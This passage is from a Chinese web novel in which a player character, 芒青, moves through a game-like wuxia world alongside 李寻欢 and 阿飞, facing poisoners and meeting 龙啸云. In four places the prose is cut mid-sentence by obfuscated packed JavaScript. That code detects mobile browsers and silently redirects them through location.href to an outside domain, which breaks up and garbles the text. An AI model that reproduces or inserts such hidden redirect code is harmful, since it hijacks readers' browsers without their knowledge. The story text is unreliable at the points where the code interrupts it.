中年人叹一口气,道,“我竟不知此物几时又变得如此抢手了。倘若旁人晓得你穿着金丝甲,只需对准腹背之外的地方攻击,金丝甲又能为之奈何?” 这次,孙逵却如那洪汉民一般,同样像一只河蚌那样紧紧闭住了嘴巴,不肯回答一个字。 李寻欢笑道,“眼下我三人已身中剧毒,再施展不了真气,你何妨也学一学尊夫人,叫我们做一做这明白鬼?” 听到“尊夫人”三字,孙逵立时目露讥嘲、嫌恶万分。 纵使如此,npc也依然没能抵挡住策划的伟力,思索几番,终道,“三十年前,江湖上曾有一名令人闻风丧胆的恶徒,武功极高,来时看不见影子,去时找不到踪迹,只有死者前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308267|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸五枚围在一起如梅花般的血点能证明此案为他所犯。” 李寻欢已知道他说的是谁了,“梅花盗!” “不错。”孙逵道,“或许有人在活着的时候见过他的模样,但是见过他模样的活人,绝对也已死在梅花盗的手里了!” 李寻欢道,“据我所知,梅花盗犯下最后一起案子,便从此销声匿迹。如今你再次提起,只怕情况有变。” 孙逵脸上的肌肉不自觉地抽动了一下,似乎想要就这样露出一个笑容来,却又被他生生忍下,“李探花,你的脑筋果真转得很快。你想的没错,梅花盗又现世了!” “梅花盗杀人,必攻前胸。你杀了洪汉民,夺得金丝甲,难道是想要去会一会这恶徒么?” 李寻欢笑道,“或许我还须得称你一声高义?” 他言辞之间不乏讽刺之意,孙逵的面色又不自觉地扭曲了起来,正欲开口,却忽听第五个人的声音在酒家内幽幽响起,“像他这样的小人,没有利益,又怎么肯早起呢。” 炉火骤熄。寒风穿过长廊,毫不留情地卷走了屋内的暖意。 孙逵猝然转头,只见一青面男人不知何时站在了店门口,虽面拢浅笑,但表情僵硬又呆板,无端让人觉得阴森森的可怖。 况且,孙逵既知今日之事不可善了,便早将门窗紧紧关闭,这人又是如何进得此间? 芒青、李寻欢和阿飞俱已身中剧毒,不足为惧,倒是这不速之客显然来者不善,该当先解决为妙。 孙逵定了主意,大喝一声,纵身朝那人急攻而去。 二十年前,他能在江南水路总瓢把子的围堵之下带着蔷薇夫人逃出生天,武功自然并非泛泛,只是在这青面青衣的男人面前,赤手空拳对上抹了剧毒的武器,总免不得是要吃一点亏的。 男人不仅有一张青色的面孔、穿着青色的衣服,就连他的两只手套都是青色的。 若叫人在晚上瞧见,只怕当真要疑心自己碰上了志怪话本里的青面鬼。 孙逵倒在那一双手下,倒也实在算不得冤枉。 此物正是令无数绿林好汉谈之色变的武林七毒之首,青魔手。 绝大部分人,直到死前都是无缘得见其一面的。可见过它的人,却往往都恨不得自己立时死去才好。 只短短一盏茶的功夫,孙逵便从一个刚刚向折辱他的妻子复了仇的男人变成了一只匍匐在地上哀嚎、祈求的野狗。 不过,他还有一处地方是与狗不同的。 野犬扑食是为生,而孙逵却在求死。 挣扎间,孙逵滚到了蔷薇夫人的尸身旁边。他的头磕到了女人的小腿,眼底忽然绽出了一丝金光。 孙逵的手探到了死人的腰间,从中摸出了一把匕首,用尽最后的力气,将它插进了自己的脖颈里。 这一对互相折磨二十年的怨侣,竟又阴差阳错地死在了彼此的手中。 李寻欢不由暗叹了一口气。 两具尸体列在一处,蔷薇夫人被外力震断心脉而亡,遗容尚且算得上安详,而孙逵死前却遭受了极大的折磨,双目暴突、唇色乌紫,分外骇人。 那青衣人显然也是为金丝甲而来,却如同蔷薇夫人和孙逵一样,只站在屋外,并不急着进来。 待烧着炉火的铜炉都已变得冰凉,他才施施然踏过了门槛,弯腰去扒洪汉民的外衫。 衣服落下去,露出最里面那件灿金色的马甲。系扣解开,拽着那软绵绵的尸体一抻一拨,金丝甲便就这样轻飘飘地落了下来。 青衣人把那宝物攥在手里,僵直的面孔上也不禁露出了一分喜悦的笑意,立时就要将其收入怀中。 忽然,两只骨节分明的手从后伸出,轻柔却不容违抗地一左一右摁住了他的手腕,像教小朋友洗手那样,颇具示范意味地、慢条斯理地把它们并在了一处,又缓缓用左手扣住。 青衣人后脊的汗毛霎时直炸而起。 他听见了一道极其清浅的呼吸。年轻人嗓音含笑,腾出的右手指腹轻轻一捻,便在他的脖颈处蹭开了一片假皮。 “我遇到过一个很会易容的人,和他比起来,你的技术就有些拙劣了。所以,下一次,记得小心一点。” 47.第四十七章 * 那双淬着剧毒、断送过无数人性命的青魔手在这少年人的手中,竟像是幼童的玩具一般,毫无反抗之力,被她捻来复去地把玩。 修长苍白的食指轻巧地挑开狰狞可怖的手套,露出其下细嫩的肌肤,顺着边缘探了进去。 青衣人的心脏几乎就要停止跳动。 冰凉的指尖划过手背,如同一条逡巡流连的蛇信。 “嗯?” 他听到身后的人发出一声疑惑的鼻音,那抹湿冷的气息更近了些许,隔着一层面具模糊地扫在后颈之上。 这片肌肤立时便起了一层鸡皮疙瘩。 古怪又黏腻的目光落在头顶,那是捕食者看待猎物的眼神。青衣人简直觉得自己已好似瞧见了山洞之中探出的一双兽瞳。 “你很紧张?” 她轻笑起来,“心跳得好快。” 恐惧如同当头砸下的浪潮,将她整个人浸没其中。青衣人再也克制不住内心的惊怖,险些夺路而逃。 “……你没有中毒?!”他从牙缝里挤出了这句话。 芒青好奇地摸摸这里,瞧瞧那里。她还是第一次见这么有二次元感的npc,这种肤色在游戏里是能真实存在的吗? 陡然听到数据小人的质问,她“啊”了一声,这才想起来自己的两个队友还身处中毒debuff的残害之中,但善良的玩家还是先回答了npc的问题。 “中过。”芒青边说话,边把战利品金丝甲从青衣人手里抽了出来,漫不经心道,“这可不是乖孩子应该拿的。” 游戏道具就老老实实放进玩家的口袋里来啊。 【您已获得B级道具[金丝甲]】 芒青看着那双看起来很厉害的皮手套,最终还是放弃了一网打尽式的竭泽而渔,选择可持续性地薅反派羊毛。 总觉得该npc还有很多她没发现的小惊喜。适当地放一放线,有时候或许能收获一些意想不到的大鱼。 玩家轻轻推了一把莫名开启了震动模式的npc,心情美妙地说,“好了,快走吧。这可不是久留之地。” 就在李寻欢开始思考究竟是谁把这里变成了不能久留的地方的时候,青衣人已经如同一只灵活的兔子般飞速窜了出去,转眼间便消失在了视野范围之外。 虽然知道这是有人在玩cosplay,芯子里可能是另外一个和表象不怎么匹配的坏蛋,但芒青还是很难想象那样一个虽然没有獠牙却足够可怖的青面怪人,有朝一日竟然也会展露出如此失去格调的逃跑姿势。 她瞥了一眼系统地图,原本遍布红点的“酒家”标识重新飘起了代表我方阵营的绿色。 终于能腾出手帮队友恢复状态的芒师傅慷慨地给每一位不幸中招的倒霉队友都赐下了一枚解毒丸。 【赠送[中级解毒丸]1,人物好感度+10】 李寻欢咽下丹药,经脉为之一清,果然感觉原本滞涩的内力重新顺畅地运转了起来。 他稍加调息,便起身正色道,“今日的恩情,李寻欢没齿难忘。他日若有所托,我绝无二话。” 芒青挑一挑眉,下意识想起了另一个更不喜欢欠人情的人,转头看向阿飞,琢磨他会有什么反应。 狼抿了抿唇,抬步跟在了她身后,很郑重地说,“我欠你一条命。” 芒青心说这flag可不兴立啊,npc童言无忌,策划你千万不能往心里去。 年轻人含混地“唔”了一声,凝眉半晌,叹一口气,还是笑了,“那你要记得在还完这条命之前都不能有事。” 她一本正经地说,“否则我会去黄泉里把你拽回来的。” 玩家将启用读档大法。 话音落地,阿飞愣愣地睁大了眼。绯色从他的脖颈以燎原之势向上蔓延,最后,狼的整张脸都烧了起来。 “不会。不会有事。” 他忽然抓住了芒青的手,急切地握紧了,磕绊着说,“不会有事。也不会让你去拽我。” 芒青有点摸不着头脑地“噢噢”两声。不明白他的反应为什么这么大。 她两步走出大门,被迎面而来的雪片扑了满脸。阿飞轻轻挡在了身侧人的面前。 芒青没留意他的小动作,歪过脑袋看了看对面人的模样,心里的坏水又咕嘟嘟冒了一个头,“要是我真的去黄泉找你,你喝了孟婆汤,不记得我了怎么办?” 阿飞的眉忽然蹙了起来,似乎正在很严肃地进行头脑风暴。如果他的头上有耳朵,此刻便该直直竖起来了。 终于,狼得出了结论。 他跟在年轻人身后,又很认真地重复了一遍那句话,“不会有事,所以不喝孟婆汤。不会忘记你,也不让你来找我。” 芒青走到了马厩,黑马闻到了主人身上陌生人的气息,大脑袋凑过来嗅了嗅,露出一个带着嫌恶的复杂表情。 玩家颇有经验地拉着阿飞往后一躲,完美闪避坐骑呸出来的口水,甚至还有闲心接上先前的话茬,“好。我记住了。” 老实人欺负起来总有一种莫名的负罪感。芒青的良心久违地上了线,决定过副本的时候多存几个档。npc食言就换她践诺。 李寻欢跟在二人身后,看着他们并肩而行的背影,勾起唇角,露出了一个很浅的笑容。 只不过,微笑仅在他的脸上短暂地持续了片刻,便立刻被一种触景伤情的苦涩所取代了。 喉咙里泛出痒意,他不禁又咳嗽起来。 穿堂风透过敞开的大门吹了出来,发出如同呜咽般的“呼呼”声响。 阿飞神色微顿,凝目道,“有血腥气。” 李寻欢右手虚握,半抵在嘴边,喘息着平复呼吸,闻言,温声道,“屋里有三个死人呢。” 芒青没有说话。 她点开系统邮件,粗略翻了一遍,选择了一键已读。 被玩家关闭的界面上,不久前新刷出的一条系统邮件分外显眼。 【玩家击杀[黑心妙郎君],获得经验点数200,金币奖励1000】[1] * 尽管发生了一点令人心情不太美妙的小插曲,但李寻欢还是依照诺言,新找了一家食肆请芒青和阿飞吃上了热乎的饭菜。 食肆的环境算不上太好,桌面上积着一层经年累月形成的暗褐色油膜,不仅看起来不雅观,摸起来也甚是黏腻,却已经是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倘若有一天,一个连死前最后一刻都不忘喝酒的酒鬼一口将酒喷了出来,那么,他喝下去的绝对已不能称作酒了。 酒鬼跳着脚大骂起来,掌柜额角突突狂跳,立时便要狞笑着抄家伙给这来吃霸王餐的混账一个好果子尝尝,冷不防怀里却被抛进了一锭银子,盛怒的表情立刻滑稽地定格在了脸上。 生意人有奶就是娘,见到银子,掌柜表情一变,登时一改先前的态度,连声吩咐小二去开最好的酒。 那酒鬼抱着碗,“咕嘟嘟”痛饮一气,慢腾腾打出一个酒嗝,表情也变得熏陶陶起来。 这时,忽听门外传来一阵呼喝马蹄之声,蹄铁敲在扫除了积雪的黄土地上,似如闷雷,咚咚作响。 酒鬼的表情立时变了。 几名彪形大汉面带愠色、目露凶光,阔步而来,将那酒鬼团团围堵而住。 其中一人一把将酒鬼身前的杯盏扫落,声如洪钟,暴喝道,“终于找到你了!” 这下,掌柜和伙计的表情也变了。 48.第四十八章 * 酒壶杯盏摔在地上,发出一连串叮铃的响声。掌柜眼皮跳了跳,心知这酒鬼是带了个大麻烦找上门来,不禁舌根泛苦,又是着急又是为难。 李寻欢侧耳听了一阵,终于弄清楚了事情的来龙去脉。 原来这酒鬼乃是一名江湖郎中,自称“梅二先生”。收了诊金不干活,反倒来此喝酒,才被雇主找上门来。 被五六名神情不善的大汉盯着,他却仍惦念着那一口酒,催促道,“快重新拿一壶酒来。拿酒来……” 掌柜汗落如雨。酒家内的食客见势不妙,哪里还敢再待下去,唯恐自己成了护城河里被殃及的鱼,酒钱都未付,眨眼便走了大半。 那汉子见这游方郎中油盐不吃,霎时心头火起,怒极而笑,道,“好,你既如此喜欢喝酒,不如就到地下去喝个痛快罢!” 话毕,他抬起手中长剑,就要劈砍而下。 江湖民风剽悍,但观其言行,恐怕杀人泄愤之事也未曾少做。 遇到这样的事情,以李寻欢的脾气,总是很难不过去管上一管的。只是此刻,他却仍旧静静安坐,全无干涉之意。 长剑距离梅二先生的咽喉越来越近,仿佛立时便会血溅当场。伙计哪里见过这等阵仗,不自禁地闭上了眼。 就在这千钧一发之际,只听“夺”的一声,那壮汉所持的长刀竟已被一枚铜板挑飞了出去。 出手之人人还未到,声已先至,气息沉浑,竟仿佛正响在人的耳边,“手下留人。” 几名汉子悚然一惊,不由回首张望,只见店门豁然洞开,布帘无风自动,显露出其后两大一小三个人影。 两个成年人一高一矮,高的那个面色紫红,蓄着一把灰白长髯,衣着不俗、神情威严,正是方才开口之人。 矮的那个身量不高,身材却既不干瘦,也不肥硕,肌肉紧实有力,显然也是一位练家子。 最小的那个孩子约莫十岁左右,粉雕玉琢,黑葡萄似的眼睛亮晶晶、莹闪闪,看起来乖巧又机敏。 三人走到了梅二先生面前,矮小男人率先上前一步,言辞客气、态度和煦,先报了家门,自称巴英,细细分说一番,居然也是请他前去问诊的。 掌柜哪里想得到这破烂酒鬼竟还有这么大的来历,一时五味杂陈,只求把这大佛安安稳稳地送走,便也是了。 梅二先生因他们的缘故在那大汉剑下死里逃生一遭,对待救命恩人时,态度却与平日并无什么不同。 他觑眼看看面前之人,竖起了三根手指。 “叫梅二先生给你们治病,先得说好我的规矩。” 巴英笑道,“梅二先生尽管直言,我们绝无二话。诊金也已备齐,阁下自可放心。” 梅二先生别下两根手指道,“不错。先付诊金、后再问诊;礼数周到、言辞谦敬,这都是我的规矩。除此之外,还有两种人我不治。” 他瞥一眼身旁几名大汉,意有所指道,“强盗匪类、小偷窃贼。纵使把刀架在梅二先生的脖子上,我也不会替他们问诊。” 那大汉见来人武功高强,气焰原已矮了三分,此刻听他话语间颇有讽刺之意,眉头霎时再次倒竖而起,“你!” 巴英却笑容不变,道,“梅二先生不需忧心,问诊的乃是秦孝仪老爷子的大公子,岂会与那等作奸犯科之辈牵扯上关联?” 梅二先生思索一阵,眉目一舒,道,“好。待我喝完酒,明日便可以与你们走这一遭了。” 话音落地,长髯老人的面色已然阴沉了下去。 巴英赔笑道,“大公子病情紧急,恐怕耽搁不起这么久的功夫……” 他尤且记得那第二条规矩,纵使心情不很美妙,态度却仍礼貌得很,身边的小孩子却已面露怒色,大骂道,“给他面子,这破郎中竟还敢蹬鼻子上脸。既然他敬酒不吃,绑回去岂不更快!” 稚童之言,尚且无人会与之计较,可观其身旁长髯老人的神色,竟同样也是默认的姿态,便叫人无法忽视了。 梅二先生哼道,“如此为之,还想叫我替你们问诊么?还是做梦最快。” 孩子闻言,竟缓缓露出了一抹冷笑,“不愿意走,这双腿无用,砍断就是了。不愿意看诊,两只眼无用,也只好剜掉罢。” 这番言辞之狠毒、狞恶,恐怕成年人听闻都要变色,难得他居然能面不改色地将其说出来。 幼童嗓音清脆,模样玉雪可爱,小小一个,团团绒绒,让人见之可喜。这阴残的笑容浮现在他脸上,立时便显露出了一种极度的割裂来,几乎让人疑心是自己的眼睛和耳朵出现了问题。 话音落地,未及众人反应,他猝然一抬手臂,两只细如牛毛的袖箭霎时自腕间飞出,直取梅二先生双腿。 小孩子站在巴英身边,与梅二先生本就距离极近,连躲避的余地都没有留下。 谁也没有想到这幼童居然一言不合就要痛下毒手。众人未曾防备,再欲阻拦,已是为时已晚,只能眼睁睁地看着那闪烁着不祥黑芒的小箭射向这倒霉郎中。 掌柜从桌子后头探了个头出来,见此情形,不由“啊呀”叫了一声,立刻又缩了回去。 恰在此时,一道灰色的残影如疾风般骤然闪至,所挟气劲刚猛霸道,瞬间缴落了这双淬着毒的袖箭。 众人禁不住又吃了一惊。 那东西掉在砖石上,发出“当啷”一声脆响。巴英定睛一瞧,才发现那竟然是一根木筷。 出手之人坐在店内角落的一张木桌边,身披月白大氅,姿态懒散,一只手闲适地搭在桌面上,另一只手轻捻着剩下的那根筷子。 她身旁还坐着一名穿着单薄玄衣的少年,眉目冷肃,已然握上了剑柄,却不知是出于什么缘故,迟迟没有动作。 那看起来颇像位世家子弟的年轻人微微莞尔,笑意盎然,恰似云销雨霁,令人耳目为之一新。 其人声音清润、语气和煦、气质温文,一副颇为友好的模样,慢吞吞道,“手下留人。” 这话分外耳熟,正是那长髯老人从壮汉手里救下梅二先生时所言。 如今救人者变成了杀人者,此情此景,故事重提,实在颇为讽刺。 巴英的心底陡然涌起了一股不详的预感。 旁人不知虚实,他却清楚得很。这孩子根骨极佳,小小年纪,武功已能称得上不俗。 暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一声“留人”显然要真心实意得多,早已不是这小孩子要杀梅二先生时那副老神在在、满不在乎的默许模样了。 那幼童接连攻出数十剑,无论出手如何迅捷、角度何如刁钻,竟俱皆奈何不得李寻欢。 秦孝仪提气赶到,一把将他拉到自己身后。 巴英冷汗涔涔,赔笑道,“千错万错都是小人的过失,李探花何必与一个小孩子计较。” 李寻欢此前只是阻挡,并未出手。若他出招,秦孝仪和巴英只怕立时就得回过头去求梅二先生救人了。 男人淡淡看他一眼,道,“这孩子的父母若不管教约束,来日酿成大祸,这声‘不计较’恐怕就说不及了。” 巴英只是喏喏,秦孝仪却缓缓露出了一个冷笑,不无讥诮道,“他父母的过失,普天之下恐怕也的确只有李探花一人能够点评了。” 那幼童闻听此言,不由跳脚道,“秦老伯,他算什么东西,凭什么指摘我阿娘和爹爹!” 秦孝仪双眼一瞬不瞬地盯着李寻欢,眸底闪烁着刻毒而兴奋的光芒,道,“凭他就是你爹爹八拜之交的好兄弟,你阿娘的亲表哥!” 49.第四十九章 * 芒青装了个大的,心情美妙。 说起来这一手飞筷还是从之前在客栈遇到的那名自称“铁方目”的npc身上学到的。 从建模上看,此人必定已在策划那边挂上了名号,只是不知道会安排什么剧情。 不同于玩家的悠哉,李寻欢此刻的感受当真如同被人当头棒喝、大晴天在头上打了个霹雳,五雷轰顶、肝胆俱颤。 他的灵魂仿佛漂浮了起来,又仿佛分裂成了两半。一半在悲泣,另一半依然维持着那张平静的假面,踏出了门槛,坐上了马车。 马车一路疾驰,奔过雪色的荒原,驶过繁华的街道,最终停在一座四进宅院的门前。 …… 龙啸云是李寻欢的救命恩人,也是他的结义大哥。林诗音是李寻欢的表妹至亲,也是他的爱人。 李寻欢曾在与友人畅饮时听酒楼的说书先生讲过话本里的爱情故事。那时,他只以为其中曲折波荡皆为世人杜撰,不过一笑置之,却没有想到,这样的故事会发生在自己的身上。 恩人对爱人一见钟情,为此长病不起。 李寻欢无法割舍任何一方,便只好舍弃自己。 爱人与恩人喜结连理,他把家产送给林诗音,将自己放逐到了关外。 李寻欢时常喝酒。酒喝多了,人醉死过去,就能一觉到天明了。 天亮了,便该去找些事情来做。前尘往事,似乎也应当抛到脑袋后面去,再不要想。 只是酒喝得越多,人反而越不容易醉。 夜半惊醒之时,纵然痛得牙根打颤,李寻欢也唯有默默将苦果咽下。 这是他自己的选择,与旁人又有什么干系呢。 如今,昔日座无虚席的酒家早已破败,人去楼空,当年的友人再没有了瓜葛,“李园”也变成了“兴云庄”。 楠木大门高耸、气派,朱漆鲜亮、辅首衔环,左右两侧各悬一只大红灯笼。石狮子分立两侧,石面光洁如同明镜,威严而庄重。 景物依然肖似,其中居住着的,却已并非旧时之人。 李寻欢站在门前,几乎咳得直不起腰来。一滴晶莹的液体从手背上滑落,竟不知是汗还是泪。 龙小云被人扶着下了马,一句话也不说,立时便抹着眼睛奔进门里去了。 往常时候,受到委屈,他必会到父母跟前如此这般添油加醋,撒娇卖痴、哭号连连,叫家中长辈给自己出头。 只是出手之人乃是李寻欢,他脚下所踏之地曾经的主人。龙小云晓得了其中利害,便是连哭也不敢了。 他小小年纪便在武学上有此造诣,属实难得。只可惜未将其本事用到正途上。 一颗歪苗,怎么能指望它长成为他人遮风避雨的大树呢。 * 龙啸云当真称得上一位好大哥,得知结义兄弟来此拜访,当即长呼着迎了出来。 二人十载未见,李寻欢衣着朴素,形容失意,面色亦带着几分累年沉积而成的凄迷;龙啸云却是锦袍加身,中年得意,容光焕发、踌躇满志。 这两个好兄弟看到了彼此,一个抢步上前,另一个情不自禁地动容了神色,凑在一处,便立刻紧紧握住了对方的手。 江湖上总有这样的好朋友,即使他们已许多年都没有见面,即使他们已许多年都没有往来,但再会之时,只需一个眼神,一个动作,便又能重新拾起曾经的回忆,将那些好时光延续下去。 得见故人,如何能不让人为之欣喜。 龙啸云再顾不得其他,朗声而笑、步履生风,揽着李寻欢往正堂去。 李家一门,曾出过七名进士,家底之丰厚由此可见一斑,更别说至李寻欢一代,父子三人连中探花,虽称不上文曲星下凡,却也足够成为一段佳话。 迎来送往,李园的正厅自然修缮得极其气阔。 此间屋舍实在算不上小,奈何屋中的人的确太多,椅子也摆得太杂,因而便显出了几分拥挤与局促来。 两只楠木圈椅中间摆一只小小方桌,其上放着一碟瓜果,并一碟摆盘精致的糕点,照此这般,接连布置了十数张坐席。 李寻欢几乎已快要认不出它原本的模样了。 李家门楣显赫,想攀附结交之人不知凡几,纵使如此,他也从来没有在正厅里见过这么多的宾客。 芒青跟在npc身后,右手撑在刀柄上,懒懒散散,一路行来,好奇地左张右望。 这边厢,龙啸云将李寻欢与堂中众人介绍一番,亲自牵着他的手,让他坐在自己身旁,这才终于将将从欣喜中回过神,注意到了那两个与好兄弟同行的年轻人,不由开口笑问道,“寻欢,这两位好朋友该当如何称呼?” 芒青的视线从窗外移回他脸上,面色自若,含笑微微一颔首,道,“在下芒青。” 龙啸云哈哈大笑道,“芒青。芒青。好名字!”转而又看向阿飞,露出一点期待的表情。 这时候,阿飞似乎又变成了一块寒铁、一匹孤狼,只冷冰冰地说,“我没有名字。” 倘若有人教导,他便该知道,在大多数情况下,客人都是应当给主人家留有些许颜面的。 这样的人情世故,阿飞总是懂得很少。看在喜爱他的人眼里,这或许会叫赤诚,可落进厌恶他的人心中,就是无礼。 龙啸云结交的好友、兄弟俱是江湖鼎鼎有名的大侠,谁人不高看两眼。 如今被一个小辈拂了面子,他却分毫未恼,仍旧大笑着对李寻欢道,“少年人有这样的言行,将来绝非池中之物。寻欢,你的眼光还是这样好。” 其余来客见龙啸云并不显露异色,当即明了了主人家的心意,找准了马屁股的方向,一齐跟着附和起来,“倘若小李探花眼光不好,又怎么会与四爷结为莫逆之交?” 龙啸云听得面露红光,言辞间却颇有谦和、推脱之意。 双方都有意捧一捧对方,便是有来有往,皆大欢喜。 恰在此时,忽见一小童小步奔来,站定在大厅中央,急声道,“铁二爷回来了!” 这姓氏并不多见,上一个名字里带“铁”的数据小人也才被玩家念叨过。 芒青的眉头不由轻轻挑了一下。 话音落地,龙啸云当即长身而起,迎出两步。来客们的屁股还未将椅子坐热,就已跟着站了起来。 恰在此时,珠帘被侍女从外掀开。来人身量高大,光线为之遮挡,堂内立时昏暗了下来。 阴影勾勒出其人分外眼熟的身形轮廓,两条猿臂尤其结实,几乎将旁边的另一名来客衬成了鸡崽。 龙啸云朗声道,“我来替二位引荐。铁二爷,这是我的结义兄弟,李寻欢,你应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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龙啸云拍着他的肩膀,道,“你料想的不错,那林仙儿此刻正住在我们家里!贤弟,你还不知道,她已被诗音收为了义妹……” 听到熟悉的名字,李寻欢的神色不由微微一滞。龙啸云却恍若未见,笑道,“说来你兄妹二人也有十年未见了。今晚我与诗音设宴,给寻欢你接风洗尘!” 李寻欢还能说什么呢。也唯有将舌根的苦涩压下,强笑着应声而已。 * 李寻欢赶到兴云庄时,已至是日傍晚,耽搁一阵,便到了晚间用饭时分。 佳肴一道一道地摆上席案,片好的烤全羊表皮酥黄油亮,内里汁水丰盈,一抿即化。咸鲜微辣的辛料佐配,浓郁的肉香之中夹杂着孜然的焦香。 鱼脍薄如蝉翼,肌理清晰可见,略蘸一点清酱,夹起时却又是完完整整的一块。 鱼肉甘甜,盈满了江河之间的水汽,分毫不见腥膻。 李寻欢正在喝酒。 他实在已没有其他事情可以做了。 林诗音没有来。或许是因为她正忙着安抚自己的孩子,也或许是因为她并不想见到曾经带来痛苦回忆的故人。 那位“铁二爷”同样很少开口,但旁人主动提起,他却总有应答。偶尔几次主动搭话,更能看出他是一个很会照顾旁人情绪的人。 也无怪世人皆道四大名捕之中,唯数铁手最为中正温和、从容宽厚。 芒青百无聊赖地托着腮看阿飞吃饭。 初时,他咀嚼、夹菜的动作尚且迅捷又专注,及到后来,却逐渐缓慢了下来。 灯火之下,狼的脖颈和耳根逐渐泛起了一片带着暖意的绯色。